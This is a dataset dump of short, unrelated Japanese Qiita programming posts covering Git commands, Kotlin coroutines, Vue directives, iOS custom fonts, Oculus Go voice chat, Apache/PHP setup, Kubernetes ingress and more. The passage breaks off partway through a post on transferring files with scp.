OmniAICreator/Qiita-1.07M huggingface dataset:
【備忘録】よく使うGitのコマンドとウェブサイト

GitHubで自分が今現在よく使っているサイトやコマンドをざっくりとまとめたものです。コードのそれぞれの意味はご自身でお調べになるかして下さい。お手数をお掛け致しますが、何卒宜しくお願い致します。

##Masterにファイルを追加

```ruby:qiita.rb
Gitリポジトリ―の新規作成
$git init

ステージングエリアに追加
$git add ファイル名
$git add .

git addの取り消し
$git reset HEAD 
$git reset HEAD ファイル名

$git commit -m "コメント名"

直前のコミットを取り消す
$git commit --amend

全体の変更を確認する
$git status 

リポジトリ―一覧を表示する
$git remote -v

リポジトリ―を登録
$git remote add origin リポジトリ―名

リポジトリ―にpushにする
$git push origin master
```

git パスワード を毎回聞かれる問題の解決方法
https://qiita.com/rorensu2236/items/df7d4c2cf621eeddd468



###forkしたリポジトリを更新する方法

```ruby:qiita.rb
$git remote add upstream 本家リポジトリー
$git fetch upstream
$git merge upstream/master
$git push origin master
```
forkしたリポジトリを更新する方法
https://qiita.com/taoki11111/items/6582dafeb971f66d1f79


GitHubのリポジトリを別のOwnerに引き渡す
https://qiita.com/do7be/items/fa845240bc58b2153a44


###ブランチの切り替え
```
ローカルブランチを確認
$git branch

ブランチの作成
$git branch ブランチ名

ブランチの切り替え
$git checkout ブランチ名

ブランチの削除
$git branch --delete ブランチ名
$git branch -D ブランチ名

変更点を一旦退避させる
$git stash 
```

##cloneのやり方
```
$cd [ディレクトリー先]
$git init
$git clone [リポジトリ―名]
```

##ファイルの削除
```
ファイルを消したい時
$git rm  ファイル名

フォルダごと消したいとき
$git rm -r フォルダ名

ファイルを管理対象から除外する(ファイルを残したい時)
$git rm --cached ファイル名
```


【Git】git clone コマンドで「fatal: Could not read from remote repository.」が表示された場合の対処方法
https://go-journey.club/archives/7344



##参考文献等
あまり詳しくない人はこちらを購入してやれば基本的な所は身に着けられると思います。
GitHub実践入門
もう怖くないGit！チーム開発で必要なGitを完全マスター
https://www.udemy.com/share/1004bOBEYSd1dXRng=/
Kotlinのcoroutineで取得した値を関数の引数として渡す

方法は単純で、`async`によって作成したcoroutineを関数の引数に渡す時に`await`を記述すればよい。

これによって関数の実行は戻り値を取得するまで中断され、すべてのcoroutineの引数の戻り値が帰ってきてから関数が実行される。

```kotlin
import java.time.LocalDateTime
import kotlinx.coroutines.*

suspend fun main() = coroutineScope<Unit> {
    println("Before use async: ${LocalDateTime.now()}")
    val bar = async {
        delay(3000L)
        "bar"
    }
    val foo = async {
        delay(2000L)
        "foo"
    }
    val hoge = async {
        delay(1000L)
        "hoge"
    }
    println("After use async: ${LocalDateTime.now()}")
    printHogeFooBar(hoge.await(), foo.await(), bar.await())
    println("After fetch data: ${LocalDateTime.now()}")
}

fun printHogeFooBar(hoge: String, foo: String, bar: String) {
    println("$hoge, $foo, $bar")
}

/*
実行結果
Before use async: 2019-05-31T07:19:42.395
After use async: 2019-05-31T07:19:42.442
hoge, foo, bar
After fetch data: 2019-05-31T07:19:45.450
*/
```
経験則：１万人か１０万人に１人は同じ意見の人が現れる。仮説(100) 

オープンソース、公開開発の経験では、１万人に１人か、１０万人に１人は、自分と同じ考えの人がいるという経験則について。

天才の人だと、１億人に１人か、１０億人に１人くらいしか、同じ考えの人がいないかもしれないという仮説。

１００年に１人くらいの天才になると、１０年後か、１００年後にしか同じ考えの人は現れない。

# まとめの前に
そう考えると、自分と同じ考えの人が、身の回りにいなくても大丈夫だということがわかる。

１０人や、１００人に説明してわかってもらえなかったと言ってあきらめたり、嫌気がさしてはいけない。１０００人、１万人に説明してから、自分が天才かどうかを考えよう。天才だったら、そこでやめてはいけないと。

１万人に１人か、１０万人に１人は、自分と同じ考えの人がいたら、自分は秀才だから、今までの努力を続けなければと。
# 記録
## 今昔文字鏡
日本語情報処理について、日本国内で同じ意見の人が現れたのは、というか、自分の考えていたことを実現されてしまった方がいて、驚愕したことがある。

今昔文字鏡という、日本の古典をすべて網羅した文字フォントをおつくりになられた。

文字コードの問題も、文字処理の問題も、すべての日本語の文字情報をどうやって電子化するかという視点抜きの議論は無駄とは言わないが、空虚。

最終的にすべての文字集合をどう表現するかが大事。
都合のいいところだけ切り取って、整合性があろうが、美しかろうが、論理的だろうが、切り取ったからなだけ。

# 参考資料(reference)
ソースコードは設計書であり、コーディングは設計作業である
https://qiita.com/mdstoy/items/5510f94c9ed981cfbb85

## 自己参照(self reference)
算譜(program)が計画(plane),設計(design)である３つの理由
https://qiita.com/kaizen_nagoya/items/34daa0403eaca5e8b5a6
補足資料（Additions)

2023 Countdown Calendar 主催・参加一覧
https://qiita.com/kaizen_nagoya/items/c4c2f08ac97f38d08543

CountDownCalendar月間　いいねをいただいた記事群　views　順
https://qiita.com/kaizen_nagoya/items/583c5cbc225dac23398a

Ethernet 記事一覧　Ethernet(0)
https://qiita.com/kaizen_nagoya/items/88d35e99f74aefc98794

Wireshark 一覧 wireshark(0)、Ethernet(48)
https://qiita.com/kaizen_nagoya/items/fbed841f61875c4731d0

線網（Wi-Fi）空中線(antenna)(0) 記事一覧(118/300目標)
https://qiita.com/kaizen_nagoya/items/5e5464ac2b24bd4cd001

C++ Support(0)　
https://qiita.com/kaizen_nagoya/items/8720d26f762369a80514

Coding Rules(0) C Secure , MISRA and so on
https://qiita.com/kaizen_nagoya/items/400725644a8a0e90fbb0

Autosar Guidelines C++14 example code compile list(1-169)
https://qiita.com/kaizen_nagoya/items/8ccbf6675c3494d57a76

Error一覧(C/C++, python, bash...) Error(0)
https://qiita.com/kaizen_nagoya/items/48b6cbc8d68eae2c42b8

なぜdockerで機械学習するか 書籍・ソース一覧作成中 (目標100)
https://qiita.com/kaizen_nagoya/items/ddd12477544bf5ba85e2

言語処理100本ノックをdockerで。python覚えるのに最適。:10+12
https://qiita.com/kaizen_nagoya/items/7e7eb7c543e0c18438c4

プログラムちょい替え（0）一覧:4件
https://qiita.com/kaizen_nagoya/items/296d87ef4bfd516bc394

一覧の一覧( The directory of directories of mine.) Qiita(100)
https://qiita.com/kaizen_nagoya/items/7eb0e006543886138f39

官公庁・学校・公的団体（NPOを含む）システムの課題、官（０）
https://qiita.com/kaizen_nagoya/items/04ee6eaf7ec13d3af4c3

プログラマが知っていると良い「公序良俗」
https://qiita.com/kaizen_nagoya/items/9fe7c0dfac2fbd77a945

LaTeX(0) 一覧　
https://qiita.com/kaizen_nagoya/items/e3f7dafacab58c499792

自動制御、制御工学一覧（０）
https://qiita.com/kaizen_nagoya/items/7767a4e19a6ae1479e6b

Rust(0) 一覧　
https://qiita.com/kaizen_nagoya/items/5e8bb080ba6ca0281927

小川清最終講義、最終講義（再）計画, Ethernet(100) 英語(100) 安全(100)
https://qiita.com/kaizen_nagoya/items/e2df642e3951e35e6a53

＜この記事は個人の過去の経験に基づく個人の感想です。現在所属する組織、業務とは関係がありません。＞
This article is an individual impression based on the individual's experience. It has nothing to do with the organization or business to which I currently belong.
### 文書履歴(document history)
ver. 0.01 初稿 20190531朝
ver. 0.02 まとめ追記 20190531 午前
ver. 0.03 ありがとう追記 20230503
### 最後までおよみいただきありがとうございました。
いいね　💚、フォローをお願いします。
####  Thank you very much for reading to the last sentence.
Please press the like icon 💚　and follow me for your happy life.
Craft CMS のテンプレートでJSONを取得して扱う

JSON を取得してそのままテンプレートでも扱えるようにしてくれるプラグイン

> Simple Json client plugin for Craft3 CMS. The plugin provides a simple Twig extension which allows you to fetch a Json url and use the result in your Twig template
> 
> Dolphiq/craft3-jsonclient
> https://github.com/Dolphiq/craft3-jsonclient

データを取り込まずに使う場合とかは便利そう。
Vue.js 色々なテンプレート制御ディレクティブまとめ

## v-once
初回だけテンプレートを評価し、それ以降は静的なコンテンツとして扱う

```html:html
  <p v-once>
    {{ message }}
  </p>
```
* 初回表示以降、JavaScript側で変数の値を変更しても画面には反映されない
* 描画更新のパフォーマンスを上げたい時に使用する

## v-pre
要素と子要素の全てのコンパイルをスキップ

```html:html
  <p v-pre>
    {{ message }}
  </p>
```
* 生のMustacheタグを表示したいとき
* XSS対策
* コンパイルのスピードをあげる

## v-html
プレーンなHTMLをデータオブジェクトに挿入する

```html:html
<p v-html="message"></p>
```
* 主にサーバサイドから取得したHTML文書を表示する時に使用する
*  XSS脆弱性を引き起こす恐れがあるため、v-htmlディレクティブは慎重に利用する
* サービスが利用するユーザが入力したコンテンツには絶対に使用しない
※Mustacheタグを使った描画では、XSS対策としてデータオブジェクトにHTMLタグを挿入しても、タグがテキストとして評価されてしまう

## v-cloak
ページを表示開始してから、インスタンスの作成が終わるまでの間に、Mustacheタグなど、コンパイル前のテンプレートが表示されてしまうことを防ぐ

```html:html
  <p v-cloak>
    {{ message }}
  </p>
```
```css:css
[v-cloak] {
  display: none;
}
```

* チラツキを防止したい要素にv-cloakディレクティブを設定
* CSSでv-cloakがついてる要素を非表示にする
* v-cloakディレクティブは、インスタンスの準備が終わると自動的に取り除かれる
カスタムフォントをダウンロードしてiOSアプリ内で使えるようにする

# カスタムフォントをダウンロードしてiOSアプリ内で使えるようにする

## はじめに

随分前に作成したサンプルコードとなりますが、当時あまり参考になるサイトがなかったので参考になるかと思い投稿します。
大抵検索すると `hogehoge.ttf` をXcodeプロジェクトに追加する記事がヒットすると思います。しかしたくさんのフォントを搭載したくなるとアプリサイズが増大するためダウンロードして後から追加する形でカスタムフォントを使えるようにしたいと考えるのではないでしょうか？
古いコードなのでObjective-Cです。SwiftからはBridgeして使うこととなりますが、局所的なので今でも使えるのではないかと思い投稿します。

## サンプルプログラム

Githubにアップしてありますので参考にしてください

* https://github.com/FromF/fontDownloadSampleProject

## フォント名（PostScript名）を調べる

ターミナルより `mdls` コマンドで調べます。

例えばMacに入っているArialフォントを例にとりますと、ターミナルに `mdls /Library/Fonts/Arial.ttf` と入力して実行します。
そうすると色々と表示されます。

【実行例】

```
$ mdls /Library/Fonts/Arial.ttf
com_apple_ats_name_family          = (
    Arial
)
com_apple_ats_name_fond            = (
    ArialMT
)
com_apple_ats_name_full            = (
    Arial
)
com_apple_ats_name_postscript      = (
    ArialMT
)
com_apple_ats_name_style           = (
    Arrunta,
          :
         省略
```

`com_apple_ats_name_postscript` と表示される項目があります。その名称をピックアップします。
実行例では、 **ArialMT** となっています。これがフォント名（PostScript名）です。

## ダウンロードしたカスタムフォントを登録する

サンプルコードの `loadFontData` メソッドに記述されています。

【`loadFontData` メソッド】

```C:loadFontData
- (BOOL)loadFontData:(NSData *)fontData {
    BOOL result = true;
    CFErrorRef error;
    CGDataProviderRef provider = CGDataProviderCreateWithCFData((__bridge CFDataRef)fontData);
    CGFontRef font = CGFontCreateWithDataProvider(provider);
    if (! CTFontManagerRegisterGraphicsFont(font, &error)) {
        CFStringRef errorDescription = CFErrorCopyDescription(error);
        ERROR_LOG(@"Failed to load font: %@", errorDescription);
        CFRelease(errorDescription);
        result = false;
    }
    CFRelease(font);
    CFRelease(provider);
    
    return result;
}
```

引数の`fontData`はダウンロードしたカスタムフォントのバイナリーデーターです。
`CTFontManagerRegisterGraphicsFont`を実行することでカスタムフォントが使えるようになります。

### 登録後カスタムフォントを表示する

カスタムフォントを登録後はXcodeプロジェクトに追加する方法と同様です。ただしダウンロードして登録するのでストーリーボードではカスタムフォントを指定できません。ソースコードとなります。

```C:applyButtonAction
    self.sampleTextLabel.font = [UIFont fontWithName:FONT_POSTSCRIPT_NAME size:20.0f];
```

`UIFont`でフォント名を指定します。ここで使うフォント名は、先ほどターミナルで調べたフォント名を記述します。

### 参考にしたサイト

最後に参考サイトのリンクを記載します。

* [Loading iOS fonts dynamically](https://marco.org/2012/12/21/ios-dynamic-font-loading)
* [Can I embed a custom font in a bundle and access it from an ios framework?](http://stackoverflow.com/q/14735522)
* [Xcode: Using custom fonts inside Dynamic framework](http://stackoverflow.com/q/30507905)
* [CGFontCreateWithDataProviderで固まるバグの対処方法（objective-c）](http://appstars.jp/archive/23)
OculusGoでPhotonVoiceRecorderが原因の急激なパフォーマンス低下

# 事象

OculusGo でボイスチャットが出来るアプリを作っていたが、今まで正常に動いていたアプリが突然 2FPS になってしまった。今までは70FPSぐらい安定して出ていたのになぜ...、しかも特に高負荷な処理は無い。

# 結論

結論から言うと、発生条件は OculusRoom 起動して終了せずに自作アプリを動かした時。
根本原因までは突き止められなかったが、おそらく OculusRoom の Parties で使われる共有マイクが有効になった状態で自作アプリが立ち上がり、マイクへのアクセスが競合していた為では無いかと考えられる。

暫定的だが解決策は**OculusGo の再起動**。
(OculusRoom を後から終了したり、Parties を解散してもパフォーマンスは低下したままだった)

本当は共有マイクを無効化すれば良いとは思うが、知識不足でその方法まで辿り着けなかった。
下記は Parties が原因だろうという結論に辿り着くまでの道のり。

# PhotonVoiceが原因

ひとまず Profiler を見て、様々なチューニングを施していたがどれも成果は上がらなかった。
![image](https://i.gyazo.com/878ae8d0b8f7ab32a3997e079cdecff0.png)

どこか原因なのか調べる為に負荷が高そうなコードをコメントアウトしていった。
すると、 `PhotonVoiceRecorder` をアタッチしている部分が原因である事が分かった。
更に調べると、`PhotonVoiceRecorder` の `MicrophoneType` が `Photon` に設定している時のみこの事象が発生する事がわかった。

なぜボイスチャットのスクリプトが原因でここまで負荷が掛かっているのか。
全く検討もつかなかったが、ふと OculusGo を再起動すると何事も無かったかのように 70FPS に戻った。

🤔🤔🤔 

# OculusRoomが影響してた

ここでふと頭に思い浮かんだのは「OculusRoom」だった。
OculusRoom 起動後に「友達を招待」を押してからアプリを終了せずに、別アプリを起動。
この状態では、OculusRoom のマイクアクセスが別アプリ起動中にも続いてるのでは無いかと考えた。

これを検証する為に再起動後に OculusRoom を実行し、終了せずに自作アプリを動かすと予想通りフレームレートは低下した。

OculusRoom のプロセスが動き続けてるのが原因かと考えたが、そんなことは無かった。


```
# OculusRoom 立ち上げ中
$ adb shell ps | grep room
u0_a50    3022  584   2703116 807956 SyS_epoll_ 0000000000 S com.oculus.rooms

# 自作アプリ立ち上げ中
$ adb shell ps | grep room

```

# OculusPartiesの共有マイクに問題ありそう

ひとまず OculusRoom が原因だと分かったので色々ググってみると、OculusRoom の「Parties」という機能にたどり着いた。


> たとえば、友人のグループは、Homeでパーティーを開き、一緒に遊びたいゲームについてチャットすることができます。その後、アプリを起動すると、そのアプリ内でもチャットセッションは継続されます。マルチプレイヤーアプリにボイスチャット機能もある場合は、パーティーチャットを無効にします。 (※ [Parties - Oculus](https://developer.oculus.com/documentation/platform/latest/concepts/dg-cc-parties/) より引用)

さらにドキュメントを読むと、Parties で使われるマイクを「Shared Microphone」と呼び、Unity で管理出来るようだった。

早速Shared Microphone が原因なのか調べようとしたが、`Platform.Microphone.Destroy()` が見つからない。代わりに `MicrophoneInput.cs` が見つかったが、これは非推奨で `Oculus.Platform.Voip` を使えとの事。

> This file is deprecated.  Use the high level voip system instead: https://developer.oculus.com/documentation/platform/latest/concepts/dg-cc-voip/ (※ OculusIntegrationのMicrophone.csより)

`Oculus.Platform.Voip` には `stop` というメソッドがあったが、引数の `userID` が分からず断念。
(ドキュメントもどこを見れば良いか分からなかった)

```Platform.cs
  public static partial class Voip
  {
    ...
    public static void Stop(UInt64 userID)
    {
      if (Core.IsInitialized())
      {
        CAPI.ovr_Voip_Stop(userID);
      }
    }
    ...
```

参考: https://developer.oculus.com/documentation/platform/latest/concepts/dg-cc-voip/

# まとめ

Oculusの技術周りにあまり強くない為、根本原因に辿り着けなかった。
ただ、OculusRoom 実行後に自作アプリが PhotonVoice によって激重になる事は分かった。

どなたか原因や解決策が分かる方がいらっしゃいましたらご教示頂けると幸いです。
【視聴メモ】Google Search and JavaScript Sites (Google I/O'19)

この記事は Google I/O '19 のセッションの視聴メモです。
想定読者は自分なので正確性や網羅率には問題があるかもしれません。

---

## References

https://www.youtube.com/watch?v=Ey0N1Ry0BPM

Speaker(s): Martin Splitt, Zoe Clifford

## Abstract

> Learn how Googlebot crawls and renders your website so your content can be discovered via Google Search through an optimized user experience. This session will cover architectural best practices (e.g. how to implement lazy loading), framework-specific (React, Vue, Angular) techniques for building Search friendly apps, and review various tools and reports (e.g. Search Console, LightHouse) to bring this to life.

訳

> Googlebotがどのようにクローリングを行い、Webサイトをレンダリングしているのかを知り、あなたのコンテンツがどのようにGoogle Searchに見つけられるかを学びましょう。このセッションはアーキテクチャ的にベストなプラクティス（たとえばLazy Loadingなど）やReactやVueなどのフレームワーク特有のテクニックをカバーし、サーチされやすいアプリを作るテクニックを知れます。また、様々なツール（Search ConsoleやLightHouseなど）の分析結果を報告します。

## Contents

* 御存知の通り、Googlebotが最新のChromeを使うようになりました！
* 最新のChromeになって何が嬉しいのかは次の通り
    * ES6以上の機能が使える
    * 様々な新しいAPIが使える
    * ポリフィルが少なくて済む
* react-snap
    * コンテンツに本質的な変動があったときに静的なファイルを生成しておけば良くね？という方法を実現できる
* VueでSSRする方法
    * vue-server-renderer -> SSR + hydration
    * prerender-spa-plugin -> pre-rendering
    * Nuxt.js -> SSR+hydration or pre-rendering
* JavaScriptでSEOする話は https://youtube.com/GoogleWebmasters で見れる
    * React Helmet でメタタグを書いたりすると良い
* Dynamic SSR
    * SSR with Hydration や pre-rendering のこと
* GoogleのSEOについてはLighthouse見るのが速いよ
* 各フレームワークにおけるメタデータの書き方
    * React -> React Helmet
    * Vue -> metaInfo
    * Angular -> @angular/platform-browser
* スクロールイベントをトリガーしたLazy Loading
    * Googlebotはスクロールしないのでスクロールイベントは発火されない
    * `IntersectionObserver` を使おう
    * もちろんネイティブのLazyLoadingを使ってもいいよ
* Search Console
    * `Discovered But Currently Not Indexed` って出るけど何？
        * Crawl Budget が低すぎてインデックスされてない
        * Crawl Budget はGooglebotがどれだけ高頻度にそのサイトをクロールできるか
        * Crawl Budget は各ページのレンダリングにどれだけ時間がかかっているかにも左右される
        * Googlebotは複数のページで同じリクエストが呼ばれているとき、その結果をキャッシュする
    * 無限ループがあったら適度なところで実行を切り上げてそこまでで評価するよ
* localStorage, sessionStorage, and IndexedDB の扱いは？
    * cookieもそうだが、有効だけど保存はされない
* feature-detect.js 的なものを作ってブラウザの各APIが有効なときだけ使える改善をやったら良い
* geolocation API の扱いには注意
    * navigator.geolocation 自体は存在するが処理を実行しようとするとエラーになる
* Permission が必要なものは基本的に全て「拒否」の動作になる
* コンテンツがないときは404を返してくれ
    * noindexとかしなくていいよ
* metaでnoindexが指定されていたらその時点でJSの実行もしない
    * あとからmetaを書き換えるという戦略は使えない

## Memo

* SSRの話で始まったかと思ったらがっつりGooglebotの仕様に関する話だった
* Pre-renderすべきコンテンツの更新頻度や量はどの程度であるべきなのか
phpbrewでPHPバージョンを変更しても、ローカル環境で反映されないとき

#前提条件
* macOS High Sierra（10.13.6）
* 以下のようにコマンド上ではPHPバージョンがきちんと変更されている
* でも http://localhost/ とかでアクセスしても切り替わっていない

```
phpbrew list

  php-7.1.12
* php-5.6.32
```

```
phpbrew switch php-7.1.12
```

```
phpbrew list
* php-7.1.12
  php-5.6.32
```

```
php -v
PHP 7.1.12 (cli) (built: Dec 18 2017 19:57:19) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2017 Zend Technologies
```

```
sudo apachectl restart
```

ここまでは大丈夫なのに http://localhost/ とかでphpinfo()を表示してみるとバージョンが変わっていない！


#考えられる原因
##1. Apacheの設定ファイルの場所が違う
環境によって設定ファイルの場所が異なるので、どれが使われているか確認する
**自分はこれが原因で数時間悩みました・・・**
（こんなことで・・・）

Mac標準のApacheの設定ファイルは以下

```
/etc/apache2/httpd.conf
```

HomebrewでApacheを別途インストールした場合は以下

```
/usr/local/etc/httpd/httpd.conf
```

##2.Apache設定ファイルのLoadModuleを書き換えていない
上記設定ファイルの173行目あたり
PHP5ならphp5_moduleのコメントアウトを外す
PHP7ならphp7_moduleのコメントアウトを外す

```
#LoadModule php5_module        /usr/local/lib/httpd/modules/libphp5.6.32.so
#LoadModule php7_module        /usr/local/lib/httpd/modules/libphp7.1.12.so
```

上記２点確認後、Apacheを再起動

```
sudo apachectl restart
```
【Python】Google翻訳してみる

[言語リスト](https://cloud.google.com/translate/docs/languages?hl=ja)

```Python
#coding:utf-8
from googletrans import Translator
translator = Translator()

IN = input('文を入力してください-->')
print('英語-------->',translator.translate(IN).text)#英語
print('ドイツ語---->',translator.translate(IN, src='ja' ,dest='de').text)#ドイツ
print('スペイン語-->',translator.translate(IN, src='ja' ,dest='es').text)#スペイン
print('フランス語-->',translator.translate(IN, src='ja' ,dest='fr').text)#フランス
print('韓国語------>',translator.translate(IN, src='ja' ,dest='ko').text)#韓国
print('ロシア語---->',translator.translate(IN, src='ja' ,dest='ru').text)#ロシア語
print('ウズベク語-->',translator.translate(IN, src='ja' ,dest='uz').text)#ウズベク語
```


例

```
文を入力してください-->私はサッカーをすることが好きです

英語--------> I like to play soccer
ドイツ語----> Ich spiele gern Fußball
スペイン語--> Me gusta jugar futbol
フランス語--> J'aime jouer au football
韓国語------> 나는 축구를하는 것을 좋아합니다
ロシア語----> Я люблю играть в футбол
ウズベク語--> Men futbol o'ynashni yaxshi ko'raman
```
HomebrewでApacheをインストールしたときの設定ファイルの場所

#前提条件
* macOS High Sierra（10.13.6）
* 「brew install httpd」でApacheをインストール済

##設定ファイルの場所

```
/usr/local/etc/httpd/httpd.conf
```

Macに標準インストールされているApacheの設定ファイルは
「/etc/apache2/httpd.conf」にあるので混同しないように気をつける。
（Apacheの設定ファイルが反映されないぞ！？と思ったらこれが原因でした）
Ubuntu 18.04LTS をRYZEN 5 2400G 、Asrock B450M Pro4にインストール

AMD Ryzen2400GのパソコンにUbuntu18.04.2をインストールしてみた。

ネットで調べたら割とうまく行かないみたいな感じの記事をちらほらと見かけました。

不安でしたが、マザーボードとメモリとディスク（小容量型落ちみたいなNVMeを購入。）3万円くらいだったので、試しにやってみた。

サクッと入れられました。

普通に使えます。
すごくリソースが余ってる。
仮想ホストにでもできるかな。。。
php-master-changes 2019-05-30

今日は不要なテストの削除とテストの修正、all でテスト流した際に sapi のテストも流すようにする修正、NO_INTERACTION 指定時には並列テストでワーカープロセスから届いた結果の出力を抑制する修正、get() のオブジェクトハンドラ削除、limagic を 5.37 ベースに更新する修正があった！

# 2019-05-30
## nikic: Remove two zpp tests in sapi/cli/tests
- https://github.com/php/php-src/commit/43be89ed877c0e300b358604a815ce6611b2535f
- sapi/cli/tests の ZPP variation なテストを削除
- あとなんか master でこけてたので、なんなら実行されてないテストくさかったらしい

## nikic: Update cli reflection test
- https://github.com/php/php-src/commit/b32b8e91bd1593ae14a06ab7bacac8892392a4d1
- sapi/cli で、テストの 'php --re' の期待出力を修正

## nikic: Update phpdbg oplog test
- https://github.com/php/php-src/commit/3ba64545ed8e4962fafa47abc7745dad3fe40801
- sapi/phpdbg で、phpdbg_*_oplog() のテストを修正

## nikic: Run sapi tests when running all tests
- https://github.com/php/php-src/commit/24e22eb31b299acf2720aab068bfce3e0bee6923
- [7.4~]
- run-tests.php で、all でテスト流した際に sapi のテストも流すよう修正

## nikic: Remove get() object handler
- https://github.com/php/php-src/commit/45a0656e9589eff0908067aba5a18026eec51231
- 昨日の [set() に引き続き](https://qiita.com/sj-i/items/7432355d3c6773b3df0c#nikic-remove-set-object-handler) get() のオブジェクトハンドラも削除

## nikic: Fix FPM tests for PHP 8
- https://github.com/php/php-src/commit/4241258d74e0ce9c7afaccfe27cbe8269482f4eb
- sapi/fpm で、PHP 8 用にテストの修正
- コメントでも言われてるけど毎回更新するのか感はありつつ、毎回更新でもいいんじゃね感もなくはない（気分）

## weltling: Ported limagic 5.37
- https://github.com/php/php-src/commit/622b10f06e5f9ba080b748b7b5b1807b142f27fd
- [7.4~]
- ext/fileinfo で、limagic を 5.37 ベースに更新

## weltling: Fix datatype
- https://github.com/php/php-src/commit/57c23df142598a2aa87dc856bab335d14b3669c1
- [7.4~]
- ext/fileinfo で、ssize_t を size_t へ変更

## weltling: Partially reapply [ba40f505e5804a5f62a1e220b0dce9d417a27f4d](https://github.com/php/php-src/commit/ba40f505e5804a5f62a1e220b0dce9d417a27f4d)
- https://github.com/php/php-src/commit/0c8454c02ddf095bdc148980fa64f5762a03bedb
- [7.4~]
- ext/fileinfo で、[以前に入れていた修正](https://qiita.com/sj-i/items/a2ac9a1be14ed2262f58#nikic-fix-unused-variable-warnings-in-libmagic)を一部再適用

## krakjoe: have parallel test runner respect NO_INTERACTION
- https://github.com/php/php-src/commit/a3879208c5b3e39593129a2b438ec39d6a0c20da
- [7.4~]
- run-tests.php で、NO_INTERACTION 指定時には並列テストでワーカープロセスから届いた結果の出力を抑制、かな

## weltling: Add test for bug [#78075](https://bugs.php.net/bug.php?id=78075), json detection
- https://github.com/php/php-src/commit/aed9a64cf673225c25e5175a0ee700b497d8d4e3
- [7.4~]
- ext/fileinfo で、finfo_file() で JSON が text/plain と検出されていた問題へのテストの追加
- libmagic 更新で直った奴くさいかな

## weltling: [ci skip] Update NEWS
- https://github.com/php/php-src/commit/a27eb4d7e1a6abfdfdf78e181dc5283ba95bc709
- [7.4~]
- ↑の修正を NEWS に追記

## weltling: [ci skip] Update year
- https://github.com/php/php-src/commit/6c62a074bb191de15197ecff7875395eb1999db2
- [7.4~]
- EXTENSIONS で、fileinfo について自分のメンテナ期間を更新

## weltling: [ci skip] Update libmagic.patch
- https://github.com/php/php-src/commit/2ba9177d4f0de8c0c7fdc0ca6160415ec699f48d
- [7.4~]
- ext/fileinfo で、libmagic.patch の更新
Nginx Ingressで１本のLBにまとめる

# 背景
Kubernetesを使ってて、ServiceやIngressでロードバランサー（LB）を作ると思いますが、LBは１つにつき、GKE、AWS共に3000円くらいかかります。（他のベンダーはどうか知らないので、知ってる方教えてください！）
本番環境で1本3000円ならいいのですが、開発環境や、モニタリング、分析ツール等もエンドポイントとして吐き出したいですよね！！
ただ、、３０００円払う価値、、って感じで断念しちゃたりってことがあったかもしれません。

# 目標
LBを1本にまとめる！！

# この記事の対象者
以下を理解していること！！　知らない方は、他の方が丁寧に説明してると思うので検索してみてください！

 * kubernetesのよく使う系のリソース

# 問題点
Ingressから他のnamespaceのサービスが見えない！！

# 作っていく全体図
詳しくはこちら！
https://github.com/ryicoh/cross-namespaced-ingress

- デプロイするもの　-> sample-web(dev, stg, prodのどれかを返すアプリ)
- development, staging, productionのnamespaceにデプロイ
- nginx-ingressで、/devにきたら、namespaceがdevelopmentのアプリにフォワーディング

# さっそくNginx-Ingressをデプロイ
```
kubectl create ns nginx-ingress # 名前はご自分で！！
kubens nginx-ingress
helm install -n nginx-ingress stable/nginx-ingress
```

# sample-webをデプロイ
```
git clone https://github.com/ryicoh/cross-namespaced-ingress
cd cross-namespaced-ingress

kubectl apply -f namespace/
kubectl apply -f development/ --record --prune -l=app=sample-web,stage=development
kubectl apply -f staging --record --prune -l=app=sample-web,stage=staging
kubectl apply -f production --record --prune -l=app=sample-web,stage=production
```

# ExternalNameについて説明
大体の人は、ServiceリソースのClusterIP,NodePortしか使ってないと思います。私もそうでした。
しかし、なんと、すごい便利なExternalNameっていうTypeがありました。

```
apiVersion: v1
kind: Service
metadata:
  name: developmnet-sample-web-svc
  labels:
    group: nginx-ingress
  namespace: nginx-ingress
spec:
  type: ExternalName
  externalName: sample-web-svc.development.svc.cluster.local
```

1. Serviseリソース全てに言えることなのですが、Podsの負荷分散の他に、 `<service-name>.<namespace>.svc.cluster.local` っていう感じでFQDNが登録されてて、クラスタ内からであれば、どこからでも、これで通信できます！ (NetworkPolicyとかゆうやつで疎通性をなくすことも可能）
2. IngressでServiceを指定すると思うのですが、それを `sample-web-svc.development.svc.cluster.local` に変換するのがExternalNameの役割です。

ってなわけで、

```
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  annotations:
    nginx.ingress.kubernetes.io/rewrite-target: /$2
  name: sample-web-ingress
  labels:
    group: nginx-ingress
  namespace: nginx-ingress
spec:
  rules:
  - http:
      paths:
      - backend:
          serviceName: developmnet-sample-web-svc
          servicePort: 8080
        path: /dev(/|$)(.*)
      - backend:
          serviceName: staging-sample-web-svc
          servicePort: 8080
        path: /stg(/|$)(.*)
      - backend:
          serviceName: production-sample-web-svc
          servicePort: 8080
        path: /prod(/|$)(.*)

```

これで、/dev何かの時は、development namespaceのsample-webに通すことが可能
ちなみに、 `nginx.ingress.kubernetes.io/rewrite-target: /$2` でリソースの/devの部分が消せます。
https://github.com/kubernetes/ingress-nginx/tree/master/docs/examples/rewrite
しかしこれよりも、MultiTLSがいいと思われ
https://github.com/kubernetes/ingress-nginx/tree/master/docs/examples/multi-tls

私のGithubをCloneした方はこちらでデプロイが試せる！

```
kubectl apply -f nginx-ingress/ --record --prune -l=group=nginx-ingress
```

以上です！
わからない点あればなんでも言ってください！
scpコマンドでpermission deniedさせずにローカルからファイルをAWSへ転送する

## 1. 先によくつまづくポイント
- permission deniedでファイルが送れない

#### 対策
1. `$ ls -l 対象のファイル` で対象ディレクトリ or ファイルの権限確認
2. 一時的に権限を変える
3. 作業終了後、権限をもとに戻す

Ex)

```ruby:hogehoge.rb
drwxr-xr-x you hoge 9999 May 24 08:00 foo(対象ディレクトリ等)
```
一番左は`ディレクトリ = d`、`リンクファイル = l`、`通常ファイル = -`のどれかを表す
左から2番目から4番目（rwx）は所有者の権限レベルを示す。この場合は`you`
左から5番目から8番目（r-x）はグループの権限レベルを示す。この場合は`hoge`
左から番目から４番目（r-x）はその他のユーザーの権限レベルを示す。`you`と`hoge`以外

今回はその他ユーザーからファイルを送りたかったので
`$chmod 757 foo`
`ls -l foo`で権限確認

```ruby:hogehoge.rb
drwxr-xrwx you hoge 9999 May 24 08:00 foo(対象ディレクトリ等)
```
と表示されたら成功

---

## 2. scpコマンドでAWSへローカルにあるファイルを送る

